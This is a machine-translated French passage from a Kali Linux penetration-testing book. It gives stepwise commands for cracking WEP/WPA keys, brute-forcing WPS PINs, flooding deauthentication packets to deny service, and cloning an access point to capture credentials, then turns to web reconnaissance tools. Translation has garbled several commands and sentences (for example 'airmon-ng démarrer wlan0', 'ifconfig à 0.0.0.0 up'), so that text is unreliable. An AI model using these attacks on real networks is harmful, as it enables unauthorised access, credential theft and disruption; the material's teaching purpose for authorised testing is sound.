root@kali:~# aircrack-ng -a 1 -b 00:06:25:9A:A9:C6 -n 64
dd_wep.cap
Comme vous pouvez le voir dans la capture d'écran suivante,
l'attaque a réussi et la clé
a été identifié. (Bien qu'il apparaisse sous la forme d'un nombre
hexadécimal, vous pouvez simplement entrer
pour vous connecter au réseau WEP.)
Bien que cette démonstration se soit concentrée sur une clé 64
bits, les clés plus longues ne prennent pas
beaucoup plus de temps pour craquer une fois que vous avez
récupéré les IV du point d'accès.
La suite d'outils aircrack-ng est le "gold standard" et fournit le
plus fiable
et un moyen efficace d'y accéder. Cependant, Kali est livré avec
plusieurs autres outils qui
peut vous aider à compromettre les réseaux sans fil cryptés.
L'un d'eux est le Fern WiFi Cracker, qui est une interface
graphique Python qui intègre
aircrack-ng . Il peut rechercher automatiquement les réseaux
sans fil et identifier le WEP,
Réseaux WPA et WPA2. Une fois les réseaux identifiés, un
attaquant peut prendre
bénéficier de plusieurs fonctionnalités, dont les suivantes :
• Craquage WEP utilisant une variété d'attaques, y compris la
fragmentation, Chop
Chop, Caffe Latte, Hirte, relecture de requête ARP ou attaque
WPS
• Craquage WPA et WPA2 à l'aide d'attaques basées sur un
dictionnaire ou WPS
• Sauvegarde automatique de la clé dans une base de données
suite à un crack réussi
• Le moteur interne man-in-the-middle prend en charge le
piratage de session
• Attaques par force brute contre HTTP, HTTPS, Telnet et FTP

Page 235
Exploiter les communications sans fil
[ 218 ]
L'interface de Fern est très propre et la configuration demande
à l'utilisateur de sélectionner le
l'interface et recherchez un point d'accès. Il signalera les points
d'accès pour WEP
et WPA/WPA2; à partir de ce moment, il suffit de cliquer sur le
bouton approprié pour lancer l'attaque. L'écran de lancement
initial de Fern s'affiche
dans la capture d'écran suivante :
Bien que Fern soit un excellent outil, la plupart des testeurs ne
s'y fient pas exclusivement, s'il y a
est un échec d'identification d'une clé ou d'accès à un réseau, la
raison de cet échec peut
restent cachés derrière l'interface graphique, ce qui rend le
dépannage difficile.
Une application similaire est l'auditeur sans fil Wifite, qui
présente un
interface pour prendre en charge les tests. Il s'est avéré très
efficace lors des essais sur le terrain,
et il tire parti des fonctionnalités suivantes :
• Wifite prend en charge l'anonymat en changeant l'adresse
MAC de l'attaquant en un
adresse MAC aléatoire avant d'attaquer, puis de la modifier
lorsque tous
les attaques sont terminées
• Il trie les cibles par force de signal (en dB) pour d'abord
déchiffrer les points d'accès les plus proches
• Il désauthentifie automatiquement les clients des réseaux
cachés pour révéler
les SSID
• Il prend en charge plusieurs types d'attaque

Page 236
Chapitre 8
[ 219 ]
Dans l'exemple illustré dans la capture d'écran suivante, une
seule cible, dd_wep , était
sélectionné pour l'attaque. Aucune autre interaction avec
l'application n'était requise ; ce
terminé le compromis complet et enregistré la clé fissurée dans
une base de données par elle-même.
Bien que la vulnérabilité du WEP obsolète soit bien connue et
ait été
prouvé par certains outils de base disponibles sur Kali, dans
quelle mesure le WPA le plus puissant
le protocole de cryptage résiste-t-il aux attaques ?
Attaquer WPA et WPA2
WiFi Protected Access ( WPA ) et WiFi Protected Access 2
( WPA2 ) sont sans fil
protocoles de sécurité destinés à combler les lacunes de
sécurité de
WEP. Étant donné que les protocoles WPA génèrent
dynamiquement une nouvelle clé pour chaque paquet,
ils empêchent l'analyse statistique qui a causé l'échec de WEP.
Néanmoins, ils sont
vulnérable à certaines techniques d'attaque.
WPA et WPA2 sont fréquemment déployés avec une clé pré-
partagée ( PSK ) pour sécuriser
communications entre le point d'accès et les clients sans fil. Le
PSK doit
être une phrase secrète aléatoire d'au moins 13 caractères ;
sinon, il est possible de
déterminer le PSK à l'aide d'une attaque par force brute en
comparant le PSK à un
dictionnaire. C'est l'attaque la plus courante. (Notez que si
configuré dans l'Enterprise
mode, qui fournit l'authentification à l'aide d'un serveur
d'authentification RADIUS, WPA est
« incassable » de notre point de vue !)
Attaques par force brute
Contrairement au WEP, qui peut être rompu à l'aide d'une
analyse statistique d'un grand nombre de
paquets, le déchiffrement WPA nécessite que l'attaquant crée
des types de paquets spécifiques qui
révéler des détails, tels que la poignée de main entre le point
d'accès et le client.

Page 237
Exploiter les communications sans fil
[ 220 ]
Pour attaquer une transmission WPA, les étapes suivantes
doivent être effectuées :
1. Démarrez l'adaptateur sans fil et utilisez la commande
ifconfig pour vous assurer que le
l'interface du moniteur est créée.
2. Utilisez airodump-ng –wlan0 pour identifier le réseau cible.
3. Commencez à capturer le trafic entre le point d'accès cible et
le client à l'aide du
commande suivante :
root@kali:~# airodump-ng --bssid 28:10:7B:61:20:32 -c 11
--showack -w dd_wpa2 wlan0
Définissez -c pour surveiller un canal spécifique, le drapeau --
showack pour s'assurer que le
l'ordinateur client accuse réception de votre demande de
désauthentification du
point d'accès sans fil, et -w pour écrire la sortie dans un fichier
pour une attaque par dictionnaire
plus tard. Une sortie typique de cette attaque est montrée dans
la capture d'écran suivante :
4. Laissez cette fenêtre de terminal ouverte et ouvrez une
deuxième fenêtre de terminal pour
lancer une attaque de désauthentification ; cela forcera un
utilisateur à se ré-authentifier
le point d'accès cible et échangez à nouveau la clé WPA. La
désauthentification
La commande d'attaque s'affiche comme suit :
root@kali:~# aireplay-ng -0 10 –a 28:10:7B:61:20:32
-c 00:1D:60:7D:55:5A wlan0

Page 238
Chapitre 8
[ 221 ]
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :
Une attaque de désauthentification réussie affichera des ACK ,
qui indiquent que le
le client qui était connecté au point d'accès cible a reconnu le
commande de désauthentification qui vient d'être envoyée.
5. Passez en revue le shell de commande d'origine qui a été
maintenu ouvert pour surveiller le
transmission sans fil et assurez-vous de capturer la poignée de
main à 4 voies.
Une poignée de main WPA réussie sera identifiée en haut à
droite
coin de la console. Dans l'exemple suivant, les données
indiquent le
La valeur d'établissement de liaison WPA est
28:10:7B:61:20:32 :
6. Utilisez aircrack pour cracker la clé WPA à l'aide d'une liste
de mots définie. Le nom de fichier
défini par l'attaquant pour collecter les données de la poignée
de main sera situé dans le
répertoire racine, et l' extension -01.cap y sera ajoutée.
Dans Kali, les listes de mots sont situées dans le répertoire
/usr/share/wordlists .
Bien que plusieurs listes de mots soient disponibles, il est
recommandé de
télécharger des listes qui seront plus efficaces pour casser les
mots de passe courants.

Page 239
Exploiter les communications sans fil
[ 222 ]
Dans l'exemple précédent, la clé était pré-placée dans la liste
des mots de passe. Entreprendre un
attaque par dictionnaire pour un mot de passe long et
complexe peut prendre plusieurs heures selon
la configuration du système. La commande suivante utilise des
mots comme liste de mots source.
root@kali:~# aircrack-ng wpa-01.cap /usr/share/wordlists
La capture d'écran suivante montre les résultats d'un crackage
réussi de la clé WPA ;
la clé du gaffer réseau s'est avérée être princessmouse après
avoir testé 44 clés.
Si vous n'avez pas de liste de mots de passe personnalisée à
portée de main ou si vous souhaitez générer rapidement une
liste,
vous pouvez utiliser l'application Crunch dans Kali. La
commande suivante indique à crunch
pour créer une liste de mots avec une longueur minimale de 5
caractères et un maximum
longueur de 25 caractères en utilisant le jeu de caractères
donné :
root@kali:~# crunch 05 25
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW
X
YZ0123456789 | aircrack-ng --bssid (adresse MAC)
-w capture-01.cap
Vous pouvez également améliorer l'efficacité de l'attaque par
force brute à l'aide de GPU
outils de craquage de mot de passe (oclHashcat pour les cartes
graphiques AMD/ATI et cudaHashcat
pour les cartes graphiques NVIDIA).

Page 240
Chapitre 8
[ 223 ]
Pour implémenter cette attaque, convertissez d'abord le fichier
de capture de prise de contact WPA, psk-01.cap
dans un fichier hashcat à l'aide de la commande suivante :
root@kali:~# aircrack-ng psk-01.cap -J <fichier de sortie>
Une fois la conversion terminée, exécutez le hashcat sur le
nouveau fichier de capture
(choisissez la version de hashcat qui correspond à votre
architecture CPU et vos graphiques
carte) à l'aide de la commande suivante :
root@kali:~# cudaHashcat-plus32.bin -m 2500 <nom de
fichier>.hccap
<liste de mots>
Attaquer les routeurs sans fil avec Reaver
WPA et WPA2 sont également vulnérables aux attaques contre
le Wi-Fi d'un point d'accès
Configuration protégée, WPS et numéro de broche.
La plupart des points d'accès prennent en charge le protocole
Wi-Fi Protected Setup ( WPS ), qui
est devenu un standard en 2006 pour permettre aux
utilisateurs d'installer et de configurer facilement l'accès
points et ajouter de nouveaux appareils à un réseau existant
sans avoir à ressaisir
et des mots de passe complexes.
Malheureusement, le code PIN est un nombre à 8 chiffres (100
000 000 de suppositions possibles), mais le
le dernier nombre est une valeur de somme de contrôle. Étant
donné que le protocole d'authentification WPS coupe le
épingler en deux et valider chaque moitié séparément, cela
veut dire qu'il y a 10 4 (10 000)
valeurs pour la première moitié de la broche, et 10 3 (1000)
valeurs possibles pour la seconde
la moitié - l'attaquant n'a qu'à faire un maximum de 11 000
suppositions pour compromettre
le point d'accès !
Reaver est un outil conçu pour maximiser le processus de
devinette (bien que Wifite ait également
effectue des conjectures WPS).
Pour lancer une attaque Reaver, utilisez un outil compagnon
appelé wash pour identifier tout élément vulnérable
réseaux comme indiqué dans la commande suivante :
root@kali:~# wash -i wlan0 --ignore-fcs
S'il y a des réseaux vulnérables, lancez une attaque contre eux
en utilisant le
commande suivante :
root@kali:~# reaver -i wlan0 -b (BBSID) -vv
Le test de cette attaque à Kali a démontré que l'attaque est
lente et est sujette à
échec; cependant, il peut être utilisé comme attaque de fond
ou peut compléter d'autres
voies d'attaque pour compromettre le réseau WPA.

Page 241
Exploiter les communications sans fil
[ 224 ]
Cloner un point d'accès
L'une des attaques les plus intéressantes contre les réseaux
sans fil repose sur le clonage du
point d'accès, puis en surveillant les informations transmises
lorsque les utilisateurs
essayez de vous y connecter. Un attaquant peut non seulement
accéder à l'authentification
informations d'identification, mais peut également utiliser une
attaque de l'homme du milieu pour intercepter ou rediriger
trafic réseau.
Plusieurs outils inclus dans Kali prétendent prendre en charge
le clonage ou la production d'un accès malveillant
point; cependant, à l'heure actuelle, ces outils présentent des
lacunes. Par exemple, le
Social Engineering Toolkit et Websploit ne s'intègrent pas au
serveur DHCP qui
est préinstallé dans Kali.
La plupart des attaquants recherchent des outils externes,
notamment des scripts tels que Gerix ou easy-creds ;
Cependant, la suite aircrack-ng comprend également un outil.
airbase-ng , pour le clonage
Points d'accès.
Pour créer un faux point d'accès sans fil, un attaquant va :
1. Démarrez wlan0 en mode moniteur, ce qui créera une
interface mon0 pour
surveillance, à l'aide de la commande suivante :
root@kali:~# airmon-ng démarrer wlan0
2. Configurez le point d'accès (AP) sur mon0 à l'aide de la
commande suivante. Social
l'ingénierie peut avoir un impact significatif sur le succès de l'AP,
alors utilisez
un nom qui attirera les clients cibles. Pour cet exemple, nous
utiliserons un
nom générique d'un réseau Wi-Fi ouvert. Il sera établi sur le
WiFi
canal six :
root@kali:~# airbase-ng --essid Customer_Network
-c 6 mon0
3. Installez les utilitaires de pont à l'aide de la commande
suivante :
apt-get install bridge-utils
4. Dans une autre fenêtre de terminal, créez un pont ( rogue )
et liez at0 (le at0
l'interface est créée par la commande précédente) à eth0 en
utilisant le pont
utilitaires (notez que les utilitaires de pont doivent d'abord être
installés en utilisant apt-get
installer bridge-utils ).
root@kali:~# brctl addbr escroc
root@kali:~# brctl addif escroc at0
root@kali:~# brctl addif voyous eth0

Page 242
Chapitre 8
[ 225 ]
Les deux interfaces étant intégrées au pont virtuel, vous pouvez
libérer leurs adresses IP à l'aide des commandes suivantes :
root@kali:~# ifconfig at0 down
root@kali:~# ifconfig à 0.0.0.0 up
root@kali:~# ifconfig eth0 down
root@kali:~# ifconfig eth0 0.0.0.0 up
5. Activez le transfert IP sur le pont à l'aide de la commande
suivante :
root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
6. Configurez le pont avec une adresse IP du LAN où il se
connecte
eth0 à l'aide des commandes suivantes :
root@kali:~# ifconfig rogue 10.1.xy masque de réseau
255.255.255.0 diffusion 10.1.x.255 jusqu'à
root@kali:~# route ajouter par défaut gw 10.1.x.1
7. Démarrez le point d'accès pour renifler les liaisons
d'authentification à l'aide du
commande suivante :
airbase-ng -c 6 -e --ESSID /file_path/file.cap wlan0
Attaques par déni de service
L'attaque finale contre les réseaux sans fil que nous évaluerons
est le déni de service
attaque, où un attaquant prive un utilisateur légitime de l'accès
à un réseau sans fil
ou rend le réseau indisponible en le faisant planter. Les réseaux
sans fil sont
extrêmement sensible aux attaques DoS, et il est difficile de
localiser l'attaquant sur
un réseau sans fil distribué. Voici des exemples d'attaques DoS :
• Injection de commandes réseau spécialement conçues, telles
que des commandes de reconfiguration,
sur un réseau sans fil peut provoquer une panne des routeurs,
commutateurs et autres
Périphériques réseau.
• Certains appareils et applications peuvent reconnaître qu'une
attaque est en cours
et répondra automatiquement en désactivant le réseau. Un
malveillant
l'attaquant peut lancer une attaque évidente puis laisser la
cible créer le
DoS lui-même !
• Bombarder le réseau sans fil avec un flot de paquets de
données peut le rendre
indisponible à l'utilisation ; par exemple, une attaque par
inondation HTTP faisant des milliers de
les demandes de page à un serveur Web peuvent épuiser sa
capacité de traitement. Dans le même
manière, inondant le réseau de blocs de paquets
d'authentification et d'association
utilisateurs de se connecter aux points d'accès.

Page 243
Exploiter les communications sans fil
[ 226 ]
• Les attaquants peuvent créer des commandes de
désauthentification et de dissociation spécifiques,
qui sont utilisés dans les réseaux sans fil pour fermer une
connexion autorisée
et pour inonder le réseau et empêcher les utilisateurs légitimes
de maintenir leur
connexion à un point d'accès sans fil.
Pour démontrer ce dernier point, nous allons créer une attaque
par déni de service en inondant
un réseau avec des paquets de désauthentification. Parce que
le protocole sans fil 802.11 est
construit pour prendre en charge la désauthentification lors de
la réception d'un paquet défini (de sorte qu'un
l'utilisateur peut interrompre une connexion alors qu'elle n'est
plus nécessaire), cela peut être dévastateur
attaque - elle est conforme à la norme et il n'y a aucun moyen
de l'empêcher de se produire.
Le moyen le plus simple de « supprimer » un utilisateur
légitime d'un réseau est de le cibler avec un
flux de paquets de désauthentification. Cela peut être fait à
l'aide de l' aircrack-
ng tool suite à l'aide de la commande suivante :
root@kali:~# aireplay-ng -0 0 -a (bssid) -c wlan0
Cette commande identifie le type d'attaque comme -0 ,
indiquant qu'il s'agit d'un
attaque de désauthentification. Le deuxième 0 (zéro) lance un
flux continu de
paquets de désauthentification, rendant le réseau indisponible
pour ses utilisateurs.
Le framework Websploit est un outil open source utilisé pour
scanner et analyser à distance
systèmes. Il contient plusieurs outils, dont des outils spécifiques
aux attaques sans fil.
Pour le lancer, ouvrez un shell de commande et tapez
simplement websploit .
L'interface Websploit est similaire à celle de recon-ng et du
Framework Metasploit,
et il présente à l'utilisateur une interface modulaire.
Une fois lancé, utilisez la commande show modules pour voir
les modules d'attaque présents
dans la version existante. Sélectionnez le brouilleur WiFi (un
flux de paquets de désauthentification)
en utilisant la commande use wifi/wifi_jammer . Comme le
montre la capture d'écran suivante,
l'attaquant doit juste utiliser les ensemble des commandes
pour définir les différentes options et
sélectionnez exécuter pour lancer l'attaque.

Page 244
Chapitre 8
[ 227 ]
Sommaire
Dans ce chapitre, nous avons examiné plusieurs tâches de
gestion requises pour un
attaque contre un réseau sans fil, y compris la sélection de
l'adaptateur sans fil,
configuration du modem sans fil et reconnaissance à l'aide
d'outils tels que
aircrack-ng Kismet. Nous nous sommes concentrés sur
l'utilisation de la suite d'outils aircrack-ng pour identifier
réseaux cachés, contourner l'authentification MAC et
compromettre WEP et WPA/
Cryptage WPA2. Nous avons également vu comment cloner ou
copier un point d'accès sans fil et
comment effectuer une attaque par déni de service contre un
réseau sans fil.
Le chapitre suivant se concentrera sur la façon dont les
attaquants ciblent un site Web et ses services.
Nous examinerons les outils utilisés pour la reconnaissance, en
particulier les proxys côté client
et les scanners de vulnérabilité. Nous verrons comment les
attaquants profitent de ces
vulnérabilités avec des outils automatisés, tels que les cadres
d'exploitation et en ligne
craquage de mot de passe. Plus important encore, nous
examinerons quelques attaques discrètes qui
nécessitent généralement une intervention manuelle, telle que
des attaques par injection et intersites
scénarisation. Enfin, nous examinerons les particularités des
services en ligne et pourquoi et comment
ils sont vulnérables aux attaques DoS.

Page 245

Page 246
Reconnaissance et
Exploitation du Web
Applications
Dans les chapitres précédents, nous avons passé en revue la
chaîne de destruction de l'attaquant — les
approche utilisée pour compromettre les réseaux et les
appareils, et divulguer des données ou entraver
accès aux ressources du réseau. Au chapitre 7 , Attaques
physiques et ingénierie sociale , nous
examiné les voies d'attaque, en commençant par les attaques
physiques et l'ingénierie sociale.
Au chapitre 8 , Exploiter les communications sans fil , nous
avons vu comment les réseaux sans fil pouvaient
être compromis. Dans ce chapitre, nous allons nous concentrer
sur l'une des voies d'attaque les plus courantes,
via des sites Web et des applications Web.
Sites Web qui fournissent du contenu et des services Web (par
exemple, e-mails et FTP)
sont omniprésents et la plupart des organisations autorisent
l'accès à distance à ces services
avec une disponibilité quasi constante. Pour les testeurs de
pénétration et les attaquants, cependant,
les sites Web exposent les services principaux se produisant sur
le réseau, les activités côté client
des utilisateurs accédant au site Web, et la connexion entre les
utilisateurs et le
les attaques fréquentes des données du site Web. Ce chapitre
se concentrera sur le point de vue de l'attaquant
de sites Web et de services Web, et nous examinerons les
attaques contre la connectivité dans
Chapitre 10 , Exploiter les communications d'accès distant et les
attaques côté client dans
Chapitre 11 , Exploitation côté client .

Page 247
Reconnaissance et exploitation des applications Web
[ 230 ]
À la fin de ce chapitre, vous aurez appris ce qui suit :
• Étendre les principes de reconnaissance aux services Web
• Analyse des vulnérabilités
• Utilisation de proxys côté client
• Exploitation des vulnérabilités dans les services Web
• Maintien de l'accès aux systèmes compromis avec des portes
dérobées Web
Pour de nombreux exercices, nous utiliserons NOWASP ou
Mutillidae comme cible
site Web contenant des vulnérabilités connues pouvant être
exploitées ;
il peut être téléchargé à partir de www.owasp.org/index.php/
Catégorie : OWASP_Mutillidés. Cette application Web peut être
installée
directement sur Linux ou Windows en utilisant LAMP, WAMP et
XAMPP.
Il est également préinstallé sur les tests SamauraiWTF et
Metasploitable
environnements. Reportez-vous à l' annexe , Installation de Kali
Linux pour les instructions
sur la création d'un environnement de test Metasploitable.
Effectuer la reconnaissance des sites Web
Les sites Web et la fourniture de services à partir de ces sites
sont particulièrement complexes.
En règle générale, les services sont fournis à l'utilisateur final à
l'aide d'une architecture à plusieurs niveaux
avec des serveurs web accessibles à l'Internet public, tout en
communiquant avec
serveurs principaux et bases de données situés sur le réseau.
La complexité est augmentée par plusieurs facteurs
supplémentaires qui doivent être pris en compte
compte pendant les tests, qui incluent les éléments suivants :
• Architecture réseau, y compris les contrôles de sécurité (pare-
feu, IDS/IPS et
pots de miel) et des configurations telles que l'équilibrage de
charge
• Architecture de la plate-forme (matériel, système
d'exploitation et autres
applications) de systèmes qui hébergent des services Web
• Applications, middleware et bases de données de niveau final,
qui peuvent utiliser
différentes plateformes (Unix ou Windows), fournisseurs,
langages de programmation,
et un mélange de logiciels commerciaux et propriétaires
• Processus d'authentification et d'autorisation, y compris le
processus de
maintenir l'état de la session dans l'ensemble de l'application
• La logique métier sous-jacente qui régit la façon dont
l'application sera utilisée
• Interactions côté client et communications avec le service
Web

Page 248
Chapitre 9
[ 231 ]
Compte tenu de la complexité avérée des services Web, il est
important pour un testeur d'intrusion
s'adapter à l'architecture et aux paramètres de service
spécifiques de chaque site. Au
en même temps, le processus de test doit être appliqué de
manière cohérente et garantir que rien
Est manqué. Plusieurs méthodologies ont été proposées pour
atteindre ces objectifs. Les
le plus largement accepté est l' Open Web Application Security
Project ( OWASP )
( www.owasp.org ) et sa liste des 10 principales vulnérabilités.
En tant que norme minimale, l'OWASP a fourni une orientation
forte aux testeurs. Cependant,
se concentrer uniquement sur les 10 principales vulnérabilités
est à courte vue, et la méthodologie a
a démontré certaines lacunes, en particulier lorsqu'il est
appliqué à la recherche de vulnérabilités dans le
logique de la façon dont une application doit fonctionner pour
prendre en charge les pratiques commerciales.
En utilisant l'approche kill chain, certaines activités spécifiques
à la reconnaissance des services Web
à souligner sont les suivants :
• Identification du site cible, notamment en ce qui concerne où
et comment
il est hébergé.
• Énumérer la structure du répertoire du site et les fichiers du
site Web cible,
y compris déterminer si un système de gestion de contenu
( CMS ) est utilisé.
Cela peut inclure le téléchargement du site Web pour une
analyse hors ligne, y compris
analyse des métadonnées du document et utilisation du site
pour créer une liste de mots personnalisée
pour le craquage de mot de passe (à l'aide d'un programme tel
que crunch). Il assure également que
tous les fichiers de support sont également identifiés.
• Identifier les mécanismes d'authentification et d'autorisation
et
déterminer comment l'état de session est maintenu pendant
une transaction
avec ce service Web. Cela implique généralement une analyse
des cookies et
comment ils sont utilisés.
• Énumérer tous les formulaires. Comme il s'agit du principal
moyen pour un client de
saisir des données et interagir avec le service Web, ce sont les
emplacements spécifiques
pour plusieurs vulnérabilités exploitables, telles que les
attaques par injection SQL et
script inter-sites.
• Identifier d'autres zones qui acceptent les entrées, telles que
les pages qui permettent
téléchargement de fichiers ainsi que toute restriction sur les
types de téléchargement acceptés.
• Identification de la manière dont les erreurs sont gérées et
des messages d'erreur réels
qui sont reçus par un utilisateur ; fréquemment, l'erreur
fournira de précieux
des informations internes telles que la version du logiciel utilisé
ou le fichier interne
noms et processus.
• Déterminer quelles pages nécessitent et maintenir des Secure
Sockets
Layer ou autres protocoles sécurisés (reportez-vous au chapitre
10 , Exploiting Remote
Accès aux communications ).

Page 249
Reconnaissance et exploitation des applications Web
[ 232 ]
La première étape consiste à effectuer la reconnaissance
passive et active préalablement
décrit (voir le chapitre 2 , Identification de la cible –
Reconnaissance passive et
Chapitre 3 , Reconnaissance active et analyse des
vulnérabilités ); en particulier, s'assurer que
les sites hébergés sont identifiés, puis utilisent le mappage DNS
pour identifier tous les sites hébergés
qui sont livrés par le même serveur (l'un des moyens les plus
courants et les plus efficaces
d'attaque consiste à attaquer un site non cible hébergé sur le
même serveur physique que le
site Web cible, exploitez les faiblesses du serveur pour obtenir
un accès root, puis utilisez le
privilèges élevés pour attaquer le site ciblé).
L'étape suivante consiste à identifier la présence de dispositifs
de protection basés sur le réseau, tels que
pare-feu, IDS/IPS et pots de miel. Un dispositif de protection de
plus en plus courant est le
Pare-feu applicatif Web ( WAF ).
Si un WAF est utilisé, les testeurs devront s'assurer que les
attaques, notamment celles
qui reposent sur une entrée spécialement conçue, sont codés
pour contourner le WAF.
Les WAF peuvent être identifiés en inspectant manuellement
les cookies (certains WAF balisent ou modifient
les cookies qui sont communiqués entre le serveur web et le
client), ou par
modifications apportées aux informations d'en-tête (identifiées
lorsqu'un testeur se connecte au port 80 à l'aide
un outil en ligne de commande tel que Telnet).
Le processus de détection WAF peut être automatisé à l'aide du
script nmap ,
http-waf-detect.nse , comme illustré dans la capture d'écran
suivante :
Le script nmap identifie qu'un WAF est présent ; cependant, le
test du script a
démontré qu'il n'est pas toujours exact dans ses conclusions et
que les données renvoyées
peut être trop général pour guider une stratégie efficace pour
contourner le pare-feu.
Le script wafw00f est un outil automatisé d'identification et
d'empreintes basé sur le Web
pare-feu ; les tests ont déterminé qu'il s'agit de l'outil le plus
précis à cette fin.
Le script est facile à appeler à partir de Kali, et une grande
sortie est affichée dans le
capture d'écran suivante :

250
Chapitre 9
[ 233 ]
Le détecteur d'équilibrage de charge ( lbd ) est un script shell
bash qui détermine si un
domaine utilise l'équilibrage de charge DNS et/ou HTTP. C'est
une information importante
du point de vue d'un testeur, car cela peut expliquer des
résultats apparemment anormaux
qui se produisent lorsqu'un serveur est testé, puis l'équilibreur
de charge bascule les demandes
vers un autre serveur. Lbd utilise une variété de contrôles pour
identifier la présence de charge
équilibrage; une. Un exemple de sortie est présenté dans la
capture d'écran suivante :

Page 251
Reconnaissance et exploitation des applications Web
[ 234 ]
Le site Web doit être inspecté pour déterminer le CMS qui peut
être utilisé pour créer
et l'entretenir. Les applications CMS telles que Drupal, Joomla
et WordPress, parmi
d'autres, peuvent être configurés avec une interface
administrative vulnérable qui permet
accès aux privilèges élevés, ou peut contenir des vulnérabilités
exploitables.
Kali comprend un scanner automatisé, BlindElephant , qui
prend les empreintes digitales d'un
CMS pour déterminer les informations de version. Un exemple
de sortie est affiché dans le
capture d'écran suivante :
BlindElephant examine l'empreinte digitale des composants du
CMS et fournit ensuite
une meilleure estimation des versions présentes. Cependant,
comme d'autres applications, nous
ont constaté qu'il peut ne pas détecter un CMS qui est présent ;
donc toujours vérifier
résultats par rapport à d'autres scanners qui explorent le site
Web pour des répertoires et des fichiers spécifiques,
ou inspecter manuellement le site.
Un outil d'analyse particulier, les robots d'exploration Web
automatisés, peut être utilisé pour valider
informations déjà recueillies, ainsi que de déterminer les
répertoire et structure de fichiers d'un site particulier. Résultats
typiques des robots d'indexation Web
inclure des portails d'administration, des fichiers de
configuration (versions actuelles et précédentes)
pouvant contenir des identifiants d'accès codés en dur et des
informations sur le
structure, copies de sauvegarde du site Web, notes de
l'administrateur, données personnelles confidentielles
informations et code source.
Kali prend en charge plusieurs robots d'exploration Web,
notamment Burp Suite, DirBuster, OWASP-ZAP,
Vega, WebScarab et WebSlayer. L'outil le plus couramment
utilisé est DirBuster.

Page 252
Chapitre 9
[ 235 ]
DirBuster est une application à interface graphique qui utilise
une liste de répertoires possibles et
pour effectuer une analyse par force brute de la structure d'un
site Web. Les réponses peuvent être
visualisé sous forme de liste ou d'arborescence reflétant plus
fidèlement la structure du site.
La sortie de l'exécution de cette application sur un site Web
cible est affichée dans le
capture d'écran suivante :
Il est également possible de copier un site Web directement à
l'emplacement du testeur. Ce « site Web
clonage" laisse à un testeur le loisir de revoir la structure du
répertoire et ses
contenus, extraire les métadonnées des fichiers locaux et
utiliser le contenu du site comme entrée pour
un programme tel que crunch , qui produira une liste de mots
personnalisée pour soutenir
craquage de mot de passe.
Pour cloner un site Web sur un système local, utilisez HTTrack.
S'il n'est pas présent à Kali, il peut
être téléchargé à l'aide de la commande apt-get puis exécuté
en tapant httrack
dans l'invite de commande. Vous serez invité à sélectionner un
emplacement de répertoire pour stocker
le site Web téléchargé. Une fois le programme exécuté, vous
aurez une sauvegarde de
le site Web cible.
Une fois que vous avez défini la structure de base du site Web
et/ou du site Web
services fournis, la prochaine étape de la chaîne de destruction
consiste à identifier
les vulnérabilités exploitables.

Page 253
Reconnaissance et exploitation des applications Web
[ 236 ]
Analyseurs de vulnérabilité
L'analyse des vulnérabilités à l'aide d'outils automatisés peut
être problématique. la toile
les scanners de vulnérabilité souffrent des défauts communs à
tous les scanners (un scanner
ne peut détecter que la signature d'une vulnérabilité connue ;
ils ne peuvent pas déterminer si
la vulnérabilité peut effectivement être exploitée ; il y a une
forte incidence de faux positifs
rapports). De plus, les scanners de vulnérabilité Web ne
peuvent pas identifier les erreurs complexes dans
logique métier, et ils ne simulent pas avec précision les
attaques enchaînées complexes utilisées
par des pirates.
Dans un effort pour augmenter la fiabilité, la plupart des
testeurs d'intrusion utilisent plusieurs outils pour analyser
services Web; lorsque plusieurs outils signalent qu'une
vulnérabilité particulière peut exister, cela
consensus dirigera le testeur vers les domaines qui peuvent
nécessiter une vérification manuelle des résultats.
Kali est livré avec un grand nombre de scanners de
vulnérabilités pour les services Web,
et fournit une plate-forme stable pour installer de nouveaux
scanners et étendre leur
capacités. Cela permet aux testeurs d'intrusion d'augmenter
l'efficacité des tests en
sélectionner des outils d'analyse qui :
• Maximiser l'exhaustivité (le nombre total de vulnérabilités qui
sont identifiés) et l'exactitude (les vulnérabilités qui sont réelles
et non
résultats faussement positifs) des tests.
• Minimiser le temps nécessaire pour obtenir des résultats
exploitables.
• Minimiser les impacts négatifs sur les services Web testés.
Ceci peut
notamment le ralentissement du système en raison d'une
augmentation du débit du trafic.
Par exemple, l'un des effets négatifs les plus courants est le
résultat de tests
formulaires qui saisissent des données dans une base de
données, puis envoient un e-mail à une personne fournissant
une mise à jour du changement qui a été apporté - des tests
incontrôlés de tels
les formulaires peuvent entraîner l'envoi de plus de 30 000 e-
mails !
Le choix de l'outil le plus efficace est très complexe. En plus de
facteurs déjà répertoriés, certains scanners de vulnérabilité
lanceront également le
exploiter et soutenir les activités post-exploitation. Pour nos
besoins, nous considérerons
tous les outils qui recherchent des faiblesses exploitables sont
des "scanners de vulnérabilités". Kali
donne accès à plusieurs scanners de vulnérabilités différents,
dont les suivants :
• Scanners qui étendent les fonctionnalités de la vulnérabilité
traditionnelle
scanners pour inclure des sites Web et des services associés
(Metasploit
Framework et Websploit)

Page 254
Chapitre 9
[ 237 ]
• Scanners qui étendent les fonctionnalités d'applications non
traditionnelles, telles que
navigateurs Web, pour prendre en charge l'analyse des
vulnérabilités des services Web (OWASP Mantra)
• Des scanners spécialement développés pour prendre en
charge la reconnaissance et
détection d'exploits dans les sites Web et services Web
(Arachnid, Nikto, Skipfish,
Vega, w3af, etc.)
Étendre la fonctionnalité du traditionnel
analyseurs de vulnérabilité
Le meilleur exemple de ce type de scanner de vulnérabilité est
le module wmap qui est
emballé avec le framework Metasploit de Rapid7. Pour utiliser
ce module, vous
doit d'abord s'assurer que le service de base de données
postgresql a été démarré ; Utilisez le
commande suivante :
root@kali:~# service postgresql start
Ensuite, lancez msfconsole à partir d'une invite de commande
et entrez le chargement wmap
commander. Comme la plupart des applications de framework,
taper help ou -h dans le
L'invite de commande affichera les commandes disponibles
pour une utilisation.
Pour gérer les sites cibles, utilisez la commande wmap_sites . L'
option -a ajoutera
l'adresse IP de la cible à la base de données de l'application. L'
option –l fournit une liste de
les sites disponibles à cibler pour les tests, comme illustré dans
la capture d'écran suivante :
Avec la cible sélectionnée, le testeur est maintenant capable
d'exécuter les modules wmap en utilisant le
commande suivante :
msf> wmap_run –e

Page 255
Reconnaissance et exploitation des applications Web
[ 238 ]
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :
L'exécution de cette commande peut prendre un certain temps
avant d'être terminée (cela dépend de la
